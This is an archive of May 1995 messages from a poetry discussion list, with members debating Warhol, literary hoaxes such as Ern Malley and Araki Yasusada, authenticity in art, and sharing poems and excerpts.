302. **Carl Lynden Peters**

Re: really Real Andy

Wed 17 May 1995

> *On Wed, 17 May 1995, John Byrum wrote:*
>
> *Dear Carl,*
>
> *It's the real thing. It's Coke. (from Ron Silliman's recent message)*

> *Andy Warhol is the real!, altho he did the soup cans (from your recent message)*
>
> *Andy also did the Disaster paintings, skulls, Mao & lots of other celeb portraits, and all kinds of other neat stuff too. Go to Pittsburgh, see the stuff. Now that's a great museum!*
>
> *John*
>
> *Yes! Warhol is really real. He's the only one that admits art isn't art unless it has streaks and smudges. Imperfection is the real art of being artistic.*
>
> *Lindz*

wow! glad to see all those warhol fans out there! i just finished an article on frank o'hara, and in it is quoted o'hara's thots on warhol. sounds like he didn't much care for warhol. that's kind of interesting

carl

↑ Index

303. Hank Lazer
Re: four poems
Wed 17 May 1995

Four for Larry Eigner

1

from childhood you remember

not the consecutive

his voice emphatic

as if it mattered

she seemed there & not

and so you to

your son

urging the next

to learn it

hawk with squirrel in talons

2

after all the singing faces, you
with your mouths out of sight

among the singing faces you
are walking away having said no

among the turning faces yours
the shadows retiring unto itself

after all the facial arpeggios dip
& descend with your mouths

out of sight pianissimo to
whisper to echoing silence

3

he had now

in no way

had it it

ran though his

hands his mouth

made representations

it was all

along beside

& through & of

he had no toe hold

4

there had been these

exact iterations

in

or after an interval

not the cumulus drama

but the indifferentiated

or nearly so

gray

befriending / partnering

sudden utterances

Hank Lazer

↑ Index

304. **Edward Foster**
Re: the reality check is in the mail
Wed 17 May 1995

---

aaaaaaalllllllllllllllllllldddddddddddddddddoooooooooooooooooooooonnnnnnnnnnnn, three looks like
ttttttttttttttttttttttttttttttttttttttttthhhhhhhhhhhhhhhhhhhhhhhhiiiiiiiiisssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss!!!!!!!!!!!!!

↑ Index

305. **Edward Foster**
Re: really Real
Wed 17 May 1995

---

ah, ron, yes, silence. i remember zabriskie point, but the sands were shifting, the hawks were hooting. no, for me, it was the north pole when santa's helpers took a break in all that tap-tap-tap and you could almost feel the heart of light, the silence

↑ Index

306. **Gary Sullivan**
Re: Herb Levy & Tom Mandel
Wed 17 May 1995

Dear Herb (& Tom, a few words re: your & Dan's _Absence Sensorium_ conclude this): As you're probably well aware from your back-channel discussion, "authenticity" and "value" are hardly cut & dry. I've given a lot of thought to these issues and have never reached any comfortable (static) position with respect to either. When I was in college 10 years ago, I perpetrated a kind of "hoax" of my own -- though my intentions were relatively benign compared to "the Ern Malley affair." I had developed a pretty serious crush on one of the editors of the university's "experimental poetry" magazine. This was many years before I'd begun reading & writing poetry w/any seriousness. At the time, I didn't much appreciate the kind of work published in this magazine. But, I had a crush on one of the editors, and was too shy to try (as a "normal" person might) to simply engage her in conversation. I assumed she wouldn't have any interest in me because I didn't (then) write poetry, or for that matter, know anything *about* poetry. I got it into my head that, if I could write poetry like the work in this editor's magazine, she might suddenly become "interested" in me, or at the very least, it might be a way to see that our

paths would eventually cross. I decided to study the poems in her magazine and try to make up some of my own, using pretty much the techniques described by Ern Malley's creators. I cribbed from much less "lofty" sources; took material from things found in the San Francisco _Chronicle_, mostly from the crossword puzzle. My roommate at the time was a poet whose work had been in this magazine, and he knew how I felt about the editor, as well as about the magazine's contents. So, I told him my plan, and showed him my poems. He liked the poems, felt I could probably get the magazine to publish them, but said that it was a mistake for me to look at them as "hoaxes." I went ahead and submitted the poems, and two of them were published. I think my friend then told the editors that I considered my poems "hoaxes," but nothing much ever came of that, as I think the editors (rightly) felt that it didn't matter much how *I* felt about the poems, as they were, by the standards of the people writing for & reading that magazine, perfectly appropriate things for someone to be writing. The poems I wrote for that magazine I *still* don't think much of, think they were failures even by that magazine's standards (which favored, as Dodie might call it, "seductive surfaces"). But, I don't disrespect the people who thought enough of them to publish them. The magazine valued a particular aesthetic, an aesthetic I value today, and I'd supplied them with work that more or less "worked." I picked up the Ern Malley book because Jonathan had given me a great description of the whole "affair," but also because, at that time, Jonathan had read me some of "Ern"'s poems, which I actually *liked*. But, then, my liking them is -- for better or worse -- linked up to the fact that I know what the poets' intentionality was. I think they failed (well, obviously) to "expose" the "sham" of "modernism," but I really appreciate their work, in part, because of I guess you could call it the "high spirited nature" of the project. The poets were having fun, & the finished product *is* a lot of fun to read. But, of course, Max Harris (_Angry Penguins_'s editor) had no idea the poems were pranks, was appreciating them by whatever standards he might have brought to an appreciation of, say, Eliot. And that does make me wonder, maybe about Eliot's notion of the "objective correlative" -- I've never thought much of that, and reading Ern Malley's work, which was accepted not for its "high spirited nature," but for the "seriousness" & "depth" of the work; well, I think even less of Eliot's theory (if not his poetry; though, admittedly, I don't care much for either). When Dodie Bellamy speaks of the "seductive surface" of writing -- well, that's pretty much what Malley's work offers me. Heck, it's to a great extent what Shakespeare's sonnets offer me. I certainly don't ultimately care whether or not Shakespeare's Sonnets were begun as an attempt to convince Henry Wriothesley to marry -- though, reading (say) Robert Giroux's _The Book Known As Q_ does indeed amplify my overall appreciation for the work. (Even though much of what Giroux says is, ultimately, speculation.) The poets of the Romantic period who valued Thomas Chatterton's hoax created their own

standards for an appreciation of that work, standards that didn't exist as such in Chatterton's time. Likewise, we live at a particular point in time wherein people like Jonathan and I (& lots of others I'll bet) can appreciate the poems of Ern Malley *as* poems, above & beyond what I'd call the "pre-game hype." When Ted Berrigan composed a fake interview with John Cage, & a panel including Susan Sontag awarded it "Best Interview of the Year" (or something like that), well, when it came out that the interview had been a hoax, there wasn't a lot of hullabaloo about that. Likewise, when I discovered that transcripts of three Japanese "poet/scholars" discussing Ron Silliman's work and the Japanese tradition of renga in an issue of _Aerial_ a couple years back was a hoax, I thought no less of the editor who'd published them. (I myself had enjoyed the transcripts prior to knowing they were fake.) I agree with Dodie that "the real" is hardly an easily pinned down thing, "place" or value. "Authenticity" isn't a black & white issue. I'd bet anyone on this list could, using OULIPO techniques on found material, come up with a "memoir" that'd win first prize in one of The Loft's annual contests. (They're a local, very conservative, literary center.) Likewise, the people at the Loft could probably use whatever methods to generate a series poems, sign 'em "Charles Bernstein," and get a number of magazines to publish the stuff *as* Bernstein poems. This brings us back, I think, to questions about the ultimate value of theory -- at least as used by readers as a method of entry into any particular work. If I determine that Eliot was wrong, that no such thing as an "objective correlative" exists, does that mean his poetry's unreadable? I don't think so. If I believe that "objective correlative" is valid, does that mean that his work is any good? Hardly. If "the author is dead," in part by virtue of the fact that one's "authenticity" is never above question, then, isn't by the same token *theory* also "dead"? What, besides "personal taste" do we -- and I mean collectively -- have left? Anything? Everything? Tom Mandel, even better than your poem "Realism" (in terms of this topic) is the poem you've just written with Daniel Davidson, _Absence Sensorium_. I love it. Would you post some of it for poetics readers, or at the very least talk a little about how you & Dan generated it? It's fascinating to me how you used the poem -- which contains a lot of personal material (as well as, according to Dan, a lot of bogus, made up autobiography) -- to collapse, each of you, into this singular-voiced text. Wonderful work. Ciao for niao, Gary

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307. **Marisa A Januzzi**

Re: really Real

Wed 17 May 1995

Hello--

Hope and think I've got this right-- it's a message to Kevin Killian, who said on poetics something to the effect that "contemporary writers will be judged on how they responded to the AIDS crisis"-- and also for Dodie Bellamy, whose work "responds"--

I just wanted to let you know that I taught a series of plague texts at the end of my humanities class-- response to plagues being the best index of 'humanity' maybe-- and it was the most engaging and emotional experience. Boccaccio's DECAMERON back to back with ANGELS IN AMERICA and Jim Powell's It Was Fever That Made The World.

My students really dove in. Some of them volunteered time. Anyway I have been remembering what you said and I wanted to thank you.

--Marisa

↑ Index

308. Sheila E. Murphy
Re: Ern Malley & others
Wed 17 May 1995

Herb's comment of 5/17:

> *Who is being tricked, about what, and how much does it matter if the poems seem pretty good?*

reminds me of a fellow music student during college who could imitate the voice teacher who was a marvelous mezzo soprano, deliciously proficient at operatic work. The student was of the ilk who had raised goofing off to the level of a fine art. She took great delight in playing with her Dana Carvey-like capability in the vocal department.

But all that time, I kept wondering just what it meant that Jill could do all of this. What was the difference between her and the vocal teacher? Many theoretical ones, plus the root versus derivation thing. But for sound quality, no diff at all.

↑ Index

309. George Bowering
Re: really Real
Wed 17 May 1995

Just a question without malice.

Is Jane Austen usually judged by the way she responded to Napoleon's invasions?

↑ Index

310. George Bowering
Re: POETICS Digest - 15 May 1995 to 16 May 1995
Wed 17 May 1995

I think that when Olson was using the term post the modern, he was thinking about history, about somethiunbg we could in some terms call post-historical, or at least histoprical as redefined by his famous BM lecture.

For the turn of the century Catholic church it seems to have meant, Modernism, the attempt to gether 19thC science and Darwinism into the same system with biblical-liturgical teaching. It was condemned by the Pope, the same Pope who wanted to get the Jews out of Jerusalem.

↑ Index

311. Reginald Johanson
Really real
Wed 17 May 1995

I'm new to the list, so I thought I'd address a question without mischief.

It's a question my brother asked Ryan Knighton when we were getting drunk and having a problem with the really real and what it was and meant. My brother works with street kids. I think the whole problem was needlessly abstract for him. He simply asked, "But what do you do in a crisis?"

↑ Index

312. Tom Mandel
Absence Sensorium
Wed 17 May 1995

I don't know how much I want to say about this poem that
no one but Dan and I have seen -- altho I read some
from it at the Poetry Project in January, and I believe
Dan has read part of it aloud too in San Francisco at
some point. Certainly, I can comment on how we were
able to collaborate: I mean that it was made much
easier by the net, in that we sent our work to each
other by email, buyt this is not much of a point
to make. Some of you will know that I make a living
in the networking industry (consulting and selling
internetworking gear and configuration services and
developing information architectures for on-line
implementation - well, I don't actually *do* the
latter but exploit the talents of others [if you

like] and my own conceptual abilities such as they
remain), but none of this entered into our
writing of AS.

I don't think Gary maeant any load on the word
"bogus" when he said that bogus autobiographical
material was part of the poem, but I don't think
it's the rite word - some is imagined, or
someone else's autobiography is sketched, but
most of it is "real," including a lot that might
not be taken as such.

The poem is out being read for publication (at
least I hope it is being read!) and for whatever
reason it feels awkward to say too much about
it and at least a little premature to "print" any
of it here - tho maybe we'd feel differently in
a while, or maybe Dan feels differently than I
right now; I haven't checked and I will.

most of it is "real," including a lot that might
not be taken as such.

The poem is out being read for publication (at
least I hope it is being read!) and for whatever
reason it feels awkward to say too much about
it and at least a little premature to "print" any
of it here - tho maybe we'd feel differently in
a while, or maybe Dan feels differently than I
right now; I haven't checked and I will.

(ooops I just cut/pasted the same bit twice. shit)

This external description begins to seem a little
silly; I guess I could give you two stanzas, from
different parts of the poem. (just give me a second...)

    finally. But in what ways can these windings
    connect with thought? Beginning
    not as modern but as here, or so says my
    body leaning from this chair.
    Embracing fiction, a functioning desire
    makes for strange and wonderful ceremony,
    like the salve of tongues and language in my ear

...

    A straight score crossed the window

between the alley and his basement room
where the pane had been quietly removed. His
mattress, soaked in blood, twisted off its box spring.
Interior walls of the rooms were pocked with
bullet holes, trajected inward. No outward
facing holes -- the dead don't fire.

and

Turn and turn it; everything is in it.
Bridge made of cracked glass whose edge
defies you to cross. Winter,
copying in your notebook
the recipe for a color long unseen
amid objects glinting on your desk. Yet, know:
its color may still appear.

...

Is the world still glowing?
Is the night still making rounds?
Is something still pushing up ahead of us,
whittling out the unimaginable?
I sit here and sip my tea
the most ordinary act I can think of,
moon spinning 'round my body.

...

I can offer no adequate exclusions;
we all live in the same lie,
breathe in the same atmosphere.
So it becomes a question
of participation and resistance, or
simply participation.
I most heartily recommend the former.

words spoken by someone else
what sympathies ruled the hunt
what we heard in confidence, and soon forgot
whose tongue turned then, or was stopped,
words slurred, gait canted, spirit spinning awry,
that it's not our life to rise
nor ours to fall. Not to listen. Not to speak.

More than a couple....

Tom Mandel

↑ Index

313. **John Byrum**
Re: really Real Andy
Wed 17 May 1995

Lindz:

Yes! Warhol is really real. He's the only one that admits art isn't art unless it has streaks and smudges. Imperfection is the real art of being artistic. (your recent message)

For me, Warhol's work is sheer surface, utter blank, which (precisely in that surface blankness) holds many depths for our guesses (i.e., interpretations, feelings, desires) to plunge into. His work is empty/ full, impersonal, machinelike, and very humanly alive/anguished, all at once. It is facade, mask, fake, and a multiply-faceted portrait of a consciousness attempting to come to terms with a singular interpretation of our current situation, a sort of existential commodification.

John

↑ Index

314. **John Byrum**
Re: irony and the Really real
Wed 17 May 1995

Dodie concluded a message to Andrew with the following:

> *The real is like god, Andrew, it will always elude you.*
>
> *Dodie*

I agree that the real can always seem elusive (allusive??), but think that all our experiences must finally be the Real. After all they are all we have, call them what you will. No need to bring in some notion of a "transcendent" "Real" as somehow more "real", because that is also comprehended under our "experience". We choose the words and the feelings that we bring to them are ours also.

John

↑ Index

315. Chris Stroffolino
Re: four poems
Wed 17 May 1995

dear hank--enjoyed your eigner tribute...and then i got worried....DID HE DIE? If so, could you illuminate us? Thanks, Chris

↑ Index

316. Gary Sullivan
Re: Absence Sensorium
Wed 17 May 1995

Dear Tom:

Thanks for that. I hope at some point you will feel more comfortable talking about the piece en length -- it's a very rare kind of collaborative poem I think, lots in the first person (& some material in the second person), and very (this is probably the wrong word too) "sincere." (No wonder you liked _Locus Solus_ -- a whole HUGE issue devoted to collaborations!) I hope I didn't put you on the spot asking you to write about it "prematurely." I'm used to corresponding w/people who don't get books published, most of 'em, so the notion of "premature" w/respect to finished work is kind of a foreign one to me. (Dan said that the version of the poem he sent me was "finished" -- I've read earlier drafts of it, too.) But, your situation is different, & also, there's another writer involved, so I'll respect that.

By the above parenthetical, please note that people other than you & Dan *have* read this; also because I run w/a generally unpublished pack, we tend to do a lot of "manuscript exchanges" -- meaning, er, um, I believe maybe there're a few *others* ('sides me) who've read _AS_ as well. (Oh, now, I'm sure they'll be buyin' the book version too, when it comes out. I definitely will.)

"Bogus" not at all loaded. I use a lot of bogus autobiographical material myself, & not because I have any Big Ideas about identity blurring, but because sometimes the bogus stuff *is* "real." (I'm from California, Tom; thus "bogus.") (Dude.)

Yours,

Gary

↑ Index

317. **Chris Stroffolino**
Re: irony and the Really real
Wed 17 May 1995

LindZZZZZZZ---I am off for Washington D.C. to read a school prayer
this weekend ("ON Your Knees, Citizen") and remember when i lived there
in '83-'84 a huge graffiti mural that on a side of a wall (not one of
those lamo 'official' ones either that said "Art Is Anything You Can Get
Away With"--Andy Warhol....
(there should be a '
')' after 'either' and before 'said'....
I wonder if it's still there...and what's become of the artist...CS

↑ Index

318. **Gary Sullivan**
Re: really Real Andy
Wed 17 May 1995

Dear John:

Your take on Warhol sounds very much like Carter Ratcliff's (a wonderful poet, by the way; just picked up his _Fever Coast_ at Woodland Pattern). Ratcliff wrote one of those Abbeville Moderns or Contemporaries or Whathaveyous on Warhol -- check it out if you've not yet seen it. You'll like, I think. Gold cover, w/a Marilyn repro.

Yours,

Gary

↑ Index

319. **Gary Sullivan**
Re: Really real
Thu 18 May 1995

On Wed, 17 May 1995, Reginald Johanson wrote:

> *It's a question my brother asked Ryan Knighton when we were getting drunk and having a problem with the really real and what it was and meant. My brother works with street kids. I think the whole problem was needlessly abstract for him. He simply asked, "But what do you do in a crisis?"*

Dear Reginald:

I work at the Legal Aid Society of Minneapolis/Housing Discrimination Law Project. The people who come into our office for help/advice are living in public

housing, most receiving various forms of welfare/General Assistance/SSI benefits. When I began working there, I assumed there was little correlation between my writing/editing life and the lives of either the people who came in for help, or the lawyers who help them deal with various issues of the law. I assumed that existence for these people was not "needlessly abstract" in the way poetry, writing & theory can be.

Not one of the people who comes into our office isn't in what most of us on this list (or anyone) would call "a crisis." Being locked out of their apartments (life or death in winter in Minnesota). Being denied benefits they need in order to purchase food. Being turned away from housing because of race, disability, etc.

Not "needlessly abstract"? I was wrong.

These people's lives, the issues they are (at the time they come in to us) dealing with aren't at all simple, nor can they be solved (typically) by any simple means. Because most of what Legal Aid offers people is *advice* (as opposed to representation, which is saved for only those cases which might seemingly "drag on" in court), and because this advice, being able to act on this advice, requires a clear understanding of what tend to be "needlessly" abstract as well as complexly verbose laws, I'd hesitate to ever suggest that these people do not, in times of crisis, have to deal with "needlessly abstract" issues.

I'd say, in fact, that these people, perhaps because their crises tend to be more let's say "immediate" than the crises poets & writers face (or create or ourselves), they tend to deal w/"needlessly abstract" issues incredibly well -- they have to, otherwise, they're even worse off.

Life -- at no level -- is simple. & that ain't something I read about in any book.

Yours,

Gary

↑ Index

320. Gabrielle Welford

Phoning White House to Save the Trees of Life (fwd.(

Thu 18 May 1995

Thought ye all might be interested in this.

Gabrielle

[redacted]

The Rescissions Bill (rescinding large parts of last year's Federal; budget, including massive cuts in aid to college students, environmental enforcement, etc.) is now before the President. **IT INCLUDES A PROVISION CALLED THE "SALVAGE" RIDER" THAT REQUIRES THE SALE OF SIX BILLION BOARD

FEET OF LUMBER FROM THE NATIONAL FORESTS IN THE NEXT TWOP YEARS, AND PROHIBITS ALL COURT CHALLENGES AND NULLIFIES ALL ENVIRONMENTAL-PROTECTION LAWS THAT MIGHT PREVENT THIS DESTRUCTION.** The White House has said the President is considering vetoing the bill, partly because of this provision. The White House has added this issue as Question # 2 on its daily opinion survey. There follow simple instructions for calling the White House -- a 15-second call, unless you want to talk to a live person -- to register your opinion on this.

The White House has now added the "salvage" rider to the list of questions for
which they are conducting a survey.
This question is number 2 in a series. YOU CAN NOW CALL THIS LINE
24 HOURS A DAY, SEVEN DAYS A WEEK. CALL IMMEDIATELY,
ASK YOUR FAMILY AND NEIGHBORS TO CALL. REGISTER YOUR
VOTE!

[redacted]

After this number answers, you press (1) and (1) to enter the survey (listen to the operator and respond). After the first question, the second question will be on the timber "salvage" rider. You will be asked if you support the rider (hell, no!) or oppose the rider (press 2). If you call between 9-5 M-F, East Coast time, you can also stay on the line and at any time in the survey, press O for an operator (chance to record a vote in the mechanical survey and talk to a real person). If this message sounds confusing, don't worry, once you try it, you'll find it is really very easy, and takes only 10-15 seconds of your time, once you are connected.

REMEMBER, THIS LINE IS OPEN 24 HOURS A DAY, SO YOU NO LONGER HAVE TO WAIT FOR EAST COAST BUSINESS HOURS

Don't give up!

ONLY YOU CAN CONVINCE THE PRESIDENT TO VETO THE RESCISSIONS BILL--AND THE TIMBER RIDER

CALL NOW!

And please forward this message wherever you can.

↑ Index

321. Gary Sullivan
addendum
Thu 18 May 1995

The parenthetical statement in second to last paragraph of post to Reginald Johanson should read "(or create *for* ourselves)."

Also, Reginald: I can't emphasize enough how wrong (not to mention condescending) it is suppose the poor are a "simple lot." I know you didn't mean anything bad by it, but then, I'm sure none of the writers who've created "simple" poor (or working class) characters out of "pity" "nostalgia" "romanticism" or whatever (& they always seem "symbolic" of something, don't they?) meant anything bad by it, either. The poor are just like you & me, Reg, they just have a lot less money.

But don't take my word for it. Read Dambudzo Marechera's _Mindblast_ or Bob Kaufman's _Solitudes Crowded with Loneliness_ if you think life at the (economic) bottom is simple or that people who find themselves (temporarily or permanently) "there" have less going on in their skulls (or read any less) than Harold Bloom or whoever, Raymond Carver et al. to the contrary.

Okay. I'll shut up now.

Yours,

Gary

↑ Index

322. Carl Lynden Peters
Re: really Real Andy
Thu 18 May 1995

ya, he's the best only after duchamp.

in fact, one of the very few who got him right. or maybe half right

carl
> > Lindz:
>
> Yes! Warhol is really real. He's the only one that admits art isn't art
> unless it has streaks and smudges. Imperfection is the real art of being
> artistic. (your recent message)
>
> For me, Warhol's work is sheer surface, utter blank, which (precisely in that
> surface blankness) holds many depths for our guesses (i.e., interpretations,
> feelings, desires) to plunge into. His work is empty/ full, impersonal,
> machinelike, and very humanly alive/anguished, all at once. It is facade,

> mask, fake, and a multiply-faceted portrait of a consciousness attempting to
> come to terms with a singular interpretation of our current situation, a sort
> of existential commodification.
>
> John
>

↑ Index

323. **Marisa A Januzzi**
Re: really Real
Thu 18 May 1995

A response without malice: you'd be surprised. Beyond the usual undergraduate rejections of her work as being devoid of labor, war and sex (!), there are the new and unusual readings which move the peripheral detail of, for instance, the sugar plantations in Antigua which fuel the local economy to the center of _Mansfield Park_.

BTW, I didn't intend that message for the whole list-- the one about plagues! But I did mean what I said. Partly it was triggered by hearing an emotional reading from Powell's book _It was Fever That Made The World_.

--Marisa

On Wed, 17 May 1995, George Bowering wrote:

> *Just a question without malice.*
>
> *Is Jane Austen usually judged by the way she responded to Napoleon's invasions?*

↑ Index

324. **Ron Silliman**
Re: The REAL Ern Malley
Thu 18 May 1995

Gary,

re your comment:

>
> When Ted Berrigan composed a fake interview with John Cage, & a panel
>including Susan Sontag awarded it "Best Interview of the Year" (or

>something like that), well, when it came out that the interview had
been a
>hoax, there wasn't a lot of hullabaloo about that. Likewise, when I
>discovered that transcripts of three Japanese "poet/scholars"
discussing
>Ron Silliman's work and the Japanese tradition of renga in an issue of
>_Aerial_ a couple years back was a hoax, I thought no less of the
editor
>who'd published them. (I myself had enjoyed the transcripts prior to
>knowing they were fake.)

And I, of course, was taken in by these same folks in their translation of an imagined poet in the Conjunctions "translation" issue -- the Japanese follower of Spicer & Barthes -- even posting an enthusiastic note here (which I think Luigi-Bob may have reprinted in Taproot). But it doesn't erase the fact that these are genuinely interesting poems, regardless of their ambiguous relation to "authenticity."

How does this differ from, say, someone like Curtis Faville in the 1960s who would do a flawless "take" on anyone (Stanzas for an Evening Out remains a pretty great book, even tho in some ways it's an anthology of Curtis' own enthusiasms, a "reading" in Dahlen's sense of the word of the poetry of that time)?

Ron Silliman
[redacted]

↑ Index

325. Ron Silliman
Yo, Ed
Thu 18 May 1995

That
Was
Four
Lines

↑ Index

326. Ron Silliman
Re: really Real Andy
Thu 18 May 1995

I saw the big Warhol retrospective at the Chicago Art Institute a few years back and was taken with how well his work has stood up over time, whereas

Rauschenberg seems to me as dated as Life Magazine covers from the 1950s, utterly limited and only of historical interest. Warhol remains not only the most political artist of his generation, but surprisingly one most committed to visual values in his work. My guess is that it will still look pretty damn great in another 50 years, when all the media hype will have faded.

Ron Silliman

↑ Index

327. **Kevin Killian**
Re: The REAL Ern Malley
Thu 18 May 1995

> *Dodie, I hope you'll forgive us for continuing to use the word "Real" in subject headings, despite our knowledge that it freaks you out, what with your book title & all. (& it's a wonderful book, I think.) But, you know, taking the word for your title doesn't take the word out of circulation otherwise -- & I can't imagine you'd believe that'd ever happen, anyway ...*

Gary,

I do think the sun rises and sets in my you-know-what. But with a girl like me, Gary, you can use any words you want.

Love,
Dodie

↑ Index

328. **Ron Silliman**
Re: Absence Sensorium
Thu 18 May 1995

Tom,

Didn't know Dan had email. What's his address?

The excerpts look great, but you are one big tease! Post the whole thing!

Love,
Ron

↑ Index

329. **Ron Silliman**
Re: four poems
Thu 18 May 1995

Hank,

They're wonderful. This is a great way to use the list. It's terrific.

Ron

PS, "facial arpeggios"?

↑ Index

330. **Tom Mandel**
Re: Absence Sensorium
Thu 18 May 1995

I didn't mean to overreact to the word "bogus" - and I shd have recognized the california spin on the word (I spent 2 decades there myself), but maybe others wdn't have either. In any case, there's really nothing there that looks like it's personal that isn't. I.e. the poem is constructed; the life is not.

Tom Mandel

↑ Index

331. **Tom Mandel**
Re: The REAL Ern Malley
Thu 18 May 1995

Just to concur with Ron Silliman re: Stanzas for an Evening Out
by Curtis Faville. A kind of NY school ne plus ultra, in
which the poet writes himself into a corner with paint that
'll never dry. Curtis Faville wrote no more (unless I'm
wrong: anyway, it shd read "has written").

I guess too that the news (just reached me; always the last one unless it's abt gadgets or cars, then I'm the first one - and I recommend my methods) of the imaginariness of that Japanese Spicer-following personally-blistered avantgardist poet whose family died in a-bomb blast doesn't take away from the interest of the poems - imagined poems by imagined poet - but it does give one a slightly lugubrious sense of the imaginers' character given the material they used.

Tom Mandel

↑ Index

332. **Tom Mandel**
one big tease
Thu 18 May 1995

Ron,

I'd be kind of surprised if the other 220 participants here wanted to find a 100+ page poem in thier emailboxes! But I'll ask Dan what he thinks (& if he wants to come out of the email shadows).

Love,

tom

↑ Index

333. **Aldon L. Nielsen**
Re: Ern Malley's antecedents
Thu 18 May 1995

---

similar episode in U.S. -- the Spectra Hoax -- look up those ole spectral poets -- they may be the last remaining unrecovered modernists!

↑ Index

334. **Aldon L. Nielsen**
Re: the reality check bounces
Thu 18 May 1995

---

well, of course it made two lines (in three sentences) instead of three. you may have noticed that ed's 3 liners often wrap around to 4 or 5. the subject heading is a clue as to who really wrote it. I didn't.

↑ Index

335. **Gary Sullivan**
Re: The REAL Ern Malley
Thu 18 May 1995

Dodie, I hope you'll forgive us for continuing to use the word "Real" in subject headings, despite our knowledge that it freaks you out, what with your book title & all. (& it's a wonderful book, I think.) But, you know, taking the word for your title doesn't take the word out of circulation otherwise -- & I can't imagine you'd believe that'd ever happen, anyway ...

Ron & Tom, please, please, could one or either of you (or anyone else w/the goods) please deliver more in re: Curtis Faville? The publisher of his _Stanzas_? The year it was published? More about the work? What little's been said about him has got my fingers all itchin', & when my fingers are all itchin' ... well, I'll leave the rest to imagination.

The Japanese poet/scholar hoax: Well, Tom, I think you're right to question the hoaxer's character. I don't know the hoaxer myself, but I've heard (from a

friend of his) that the hoax was *racially* motivated: specifically, this guy decided he could get things published more easily in the States if he came up with an "ethnic" persona to attach to the work. Assuming the person who told me that ain't lyin', it is indeed troubling.

It is true that, at least as far as nonprofit presses go (ones that rely heavily on grants for continued operation), manuscripts by otherwise unknowns who have Asian or Hispanic or Native American sounding names are going to get pulled from the slush pile for immediate consideration -- the publicly supported arts, including funding orgs, largely in response to public pressure, practice a kind of affirmative action. But, what the hoaxer didn't seem to take into consideration was *why* affirmative action's being practiced, what lead to that: specifically, the fact that very few presses (especially smaller & independent ones) publish people they don't know (either personally, or as in "have heard of"). And anglos tend to know mostly other anglos.

To me, the hoaxer has proven nothing we didn't already know; and not only that, has shown himself to be either unaware of (or unsympathetic to) larger social issues. This doesn't mean that his poems are no good, or uninteresting, but that yes, Tom, this specific instance is a particularly troubling one; while I feel no disrepect for the editors (or readers) taken in by the hoax (being again one of the readers taken in), my feelings w/respect to the hoaxer -- assuming, again, that my source for this info about his motives ain't lyin' (& who knows?) -- is quite another story.

Yours,

Gary

↑ Index

336. Gary Sullivan
Re: Absence Sensorium
Thu 18 May 1995

Tom:

Assuming it'd be okay w/Dan, maybe you could, instead of posting the poem (which is quite long) here (since some people's e-mail only holds so much, reportedly), maybe you could get it set up in the EPC center, so interested people could read it there?

↑ Index

337. Lindz Williamson
Re: really Real Andy
Thu 18 May 1995

On Thu, 18 May 1995, Ron Silliman wrote:

> I saw the big Warhol retrospective at the Chicago Art Institute a few
> years back and was taken with how well his work has stood up over time,
> whereas Rauschenberg seems to me as dated as Life Magazine covers from
> the 1950s, utterly limited and only of historical interest. Warhol
> remains not only the most political artist of his generation, but
> surprisingly one most committed to visual values in his work. My guess
> is that it will still look pretty damn great in another 50 years, when
> all the media hype will have faded.
>
> Ron Silliman
>

I've done a couple studies on Warhol and I am totally amazed by his ability to manipulate. His art goes beyond the silkscreen. He was a business man first and then an artist. He did 100 portraits of German business men and their families for $25 000 each which he admits were not art. Along the same line he made the Skull serious as a pure fluke and everybody raved about his genius. (in case anyone does know the print he took a photo of a skull and the shadow produced was in the shape of a baby's head) He did prints to bring home the bacon to support the " family" and then he did "art"

What I admire is Interview, it is or was one of the greatest entertainment magazines. Andy was a sort of Martha Stewart of the Pop generation; he sold a lifestyle. He told us what was hip and cool and made Studio 54 and the Factory places we'd died to go to. Even his work in film and video was incredibly influential and revolutionary for the time. The Philosophies of Andy Warhol is one of my favorite books, it doesn't matter that he didn't write it, he thought of it, and that's enough.

Lindz

↑ Index

338. Gary Sullivan
Re: really Real Andy
Thu 18 May 1995

On Thu, 18 May 1995, Ron Silliman wrote:

> *I saw the big Warhol retrospective at the Chicago Art Institute a few years back and was taken with how well his work has stood up over time, whereas Rauschenberg seems to me as dated as Life Magazine covers from the 1950s, utterly limited and only of historical interest. Warhol remains not only the most political artist of his generation, but surprisingly one most committed to visual values in his work. My guess is that it will still look pretty damn great in another 50 years, when all the media hype will have faded.*

Ron, I agree that Warhol'l definitely be remembered (& thought & spoken highly of) for a long, long time. But Rauschenberg ... "dated"? "Utterly limited"? "Only of historical interest"?

Dude. That is like, totally bogus. I mean, ruhlly. Reminds me of when the Jess retrospective came to the Walker & a friend of mine, when I asked him "You go check this shit out, man?" replied: "Oh, that's just 60s 'trippy' art." *Pardohn, eskyoozay*?!?

Anyway, that stuff about the Rausch-man, them's fightin' words! But, fortunately for you, I smoke too much, & you could easily keek mah ass if it came down to that. (I do plan to quit, tho, & when I do, I'll have lots of pent-up energy to release ...)

Caio baby,

Gary

↑ Index

339. Gary Sullivan
Re: Ern Malley's antecedents
Thu 18 May 1995

On Thu, 18 May 1995, Aldon L. Nielsen wrote:

> similar episode in U.S. -- the Spectra Hoax -- look up those ole spectral > poets -- they may be the last remaining unrecovered modernists!

Aldon, MORE ON THIS, POR FAVOR! Names, dates, pub's, secondary materials, etc.!

↑ Index

340. Herb Levy
Re: The REAL Araki Yasusada
Thu 18 May 1995

Looking back at yesterday's post about poetic hoaxes, in my haste to delete a couple of sentences that mentioned my back channel correspondent without permission, I also deleted Araki Yasusada's name, but yeah, that's who we'd

been discussing, the same "poet" brought up by Gary Sullivan, Ron Silliman, and Tom Mandel.

I still don't have the details entirely straight. Clearly the post-WWII Japanese avant garde group is fake, but I've also been told that the trio of contemporary Japanese writers who "translate" the poems are also fake and the whole thing is the work of one person.

Does anyone have more information on this?

↑ Index

341. **Herb Levy**

Re: Ern Malley, Nancy Sinatra, & Bette Midler

Thu 18 May 1995

Sheila Murphy's music school anecdote reminds me of some recent legal landmarks in intellectual property law.

In the late sixties or early seventies, Goodyear Tire asked Nancy Sinatra if they could use her recording of <These Boots Are Made for Walkin'> in a TV ad. She declined and they hired someone who sounded just like her. Nancy Sinatra sued and lost, she hadn't written the song and had no ownership rights.

In the 1980s, Pontiac, I think, asked Bette Midler if they could use her recording of <Do You Wanna Dance> in a TV ad. She declined and they hired someone who sounded just like her. Bette Midler sued and won, because her vocal style was recognized as her artistic property which had been infringed.

Of course, we all know many other, far more creative, uses of other people's material. But it's interesting to note the laws pertaining to these issues aren't made by people know or care about the history of collage and artistic appropration.

- Herb

On Wed, 17 May 1995, Sheila E. Murphy wrote:

